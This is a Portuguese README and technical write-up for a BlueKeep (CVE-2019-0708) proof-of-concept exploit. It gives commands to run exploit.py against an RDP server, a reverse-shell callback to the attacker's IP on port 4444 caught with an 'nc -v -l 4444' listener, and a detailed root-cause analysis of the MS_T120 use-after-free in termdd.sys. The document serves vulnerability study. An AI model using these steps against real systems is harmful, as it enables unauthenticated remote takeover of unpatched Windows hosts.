
Prova de conceito do CVE-2019-0708 (BlueKeep) que permite RCE pré-autenticação no Windows7
Este repositório demonstra o bug de execução remota de código no Windows Remote Desktop Services (RDS).
Aqui está um código POC e relatório técnico sobre a vulnerabilidade BlueKeep, que desenvolvemos anteriormente. NOTA: Nosso objetivo é ajudar analistas a obter uma melhor compreensão sobre vulnerabilidades críticas.
Nosso código de exploit é escrito em Python 3 e depende da biblioteca PyRDP. Configure-os seguindo o guia de instalação do PyRDP.
Atualmente, nosso exploit tem como alvo, e foi testado no, Windows 7 SP 1 (6.1.7601) x64 no Virtual Box.
Se seu computador tiver o endereço IP 192.168.56.1 e você mirar o servidor RDP em example.com:1234, digite
$ python exploit.py example.com -rp 1234 192.168.56.1
Se o script explorar o servidor com sucesso, um shellcode de conexão reversa inicia uma conexão TCP do servidor de volta para 192.168.56.1:4444. Portanto, por exemplo, você deve esperar a conexão com netcat:
$ nc -v -l 4444
Se você quiser alterar o número da porta para a qual o servidor se conecta de volta, use a opção -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
Em maio de 2019, a Microsoft divulgou uma vulnerabilidade crítica de execução remota de código CVE-2019-0708, no Remote Desktop Services (anteriormente conhecido como Terminal Services). Esta vulnerabilidade é pré-autenticação — o que significa que a vulnerabilidade é propagável (wormable), com potencial para causar interrupções generalizadas. Um atacante pode explorar esta vulnerabilidade enviando mensagens Remote Desktop Protocol (RDP) manipuladas para o servidor alvo e obter execução arbitrária de código com privilégios administrativos.
O Microsoft Remote Desktop Services fornece a um usuário sessões interativas remotas do Windows abertas. Ele apresenta a área de trabalho do Windows do usuário comunicando-se com o cliente usando o Remote Desktop Protocol (RDP) pela porta 3389/TCP.
O protocolo RDP tem a capacidade de ser aprimorado através de extensões de software chamadas Canal Virtual. Exemplos de aprimoramentos funcionais podem incluir: suporte para tipos especiais de hardware, áudio ou outras adições à funcionalidade principal. Esses canais incluem canais padrão fornecidos pela Microsoft, como "rdpdr" (Redirecionamento), "rdpsnd" (Som), "cliprdr" (Compartilhamento de área de transferência), etc. Os usuários podem escrever módulos usando a API RDP para suportar outros canais. Além dos canais acima, a Microsoft cria dois canais por padrão: MS_T120 (usado para o próprio RDP) e CTXTW (usado no Citrix ICA).
A vulnerabilidade está relacionada ao processo de vinculação de canais virtuais do MS_T120 através da solicitação "MCS Connect Initial e GCC Create". Mais informações de contexto estão disponíveis no ZDI. Conforme mencionado no artigo do ZDI, todos os canais virtuais solicitados pelo cliente são criados usando termdd!IcaCreateChannel(). Em seguida, os ponteiros para essas estruturas de canal são armazenados em uma tabela, que chamaremos de ChannelPointerTable. Quando uma conexão é estabelecida com o cliente RDP, todos os canais virtuais estáticos, incluindo MS_T120, são inicializados internamente pelo servidor RDP do Windows e apontados por ChannelPointerTable.
A consulta para criar MS_T120 e CTXTW é emitida por rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig .1: Geração da consulta para criar MS_T120 e CTXTW
Após a consulta ser passada para termdd!IcaBindVirtualChannels(), uma estrutura de canal virtual é criada em termdd!IcaAllocateChannel() e registrada na ChannelPointerTable.
Fig .2: Criando e registrando a estrutura de canal virtual
A rotina de função termdd!IcaBindChannel() é responsável por registrar uma estrutura de canal virtual na ChannelPointerTable.

Aqui está o stack trace no Windows 7 x64, quando termdd!IcaBindChannel() é chamado com o primeiro argumento "MS_T120" e o terceiro argumento 0x1f.
Fig .3: MS_T120 é vinculado ao slot 0x1f durante a solicitação inicial
Então a ChannelPointerTable fica da seguinte forma. Observe que MS_T120 está sempre presente no Slot 0x1F.
Fig .4: ChannelPointerTable durante a solicitação inicial
Existe uma vulnerabilidade use-after-free no driver de kernel RDP do Windows, termdd.sys.
O problema é que quando o cliente especifica um canal com o nome MS_T120\x00 durante "MCS Connect Initial e GCC Create", termdd!IcaCreateChannel() chama termdd!IcaFindChannelByName() e retorna a estrutura de canal MS_T120 existente no Slot 0x1F. Então, esta estrutura de canal é considerada como uma nova entrada de canal virtual e armazenada em outro Slot (neste exemplo, Slot 2) durante "MCS Attach User Request".
Aqui está o stack trace no Windows 7 x64, quando termdd!IcaBindChannel() é chamado com o primeiro argumento "MS_T120" e o terceiro argumento 0x2.
Fig .5: MS_T120 também é vinculado ao slot 0x2 durante a solicitação de anexação
Em outras palavras, a estrutura de canal MS_T120 é apontada por dois slots 0x1F e 0x2.
Fig .6: ChannelPointerTable durante a solicitação de anexação
Se um atacante então enviar dados inválidos para o canal MS_T120, o termdd.sys fecha o canal usando termdd!IcaCloseChannel(), limpando o ponteiro no slot. (Slot 2 no exemplo em execução) No entanto, o mesmo ponteiro no Slot 0x1F não é limpo. Posteriormente, quando a conexão termina, RDPWD!HandleDisconnectProviderUlt() é invocado, que por sua vez chama termdd!IcaChannelInputInternal() e tenta destruir novamente a estrutura de canal MS_T120 liberada usando o ponteiro no Slot 0x1F. Um procedimento de destruição é invocado pelo ponteiro vtable dentro da estrutura do canal. Isso leva a uma condição de use-after-free.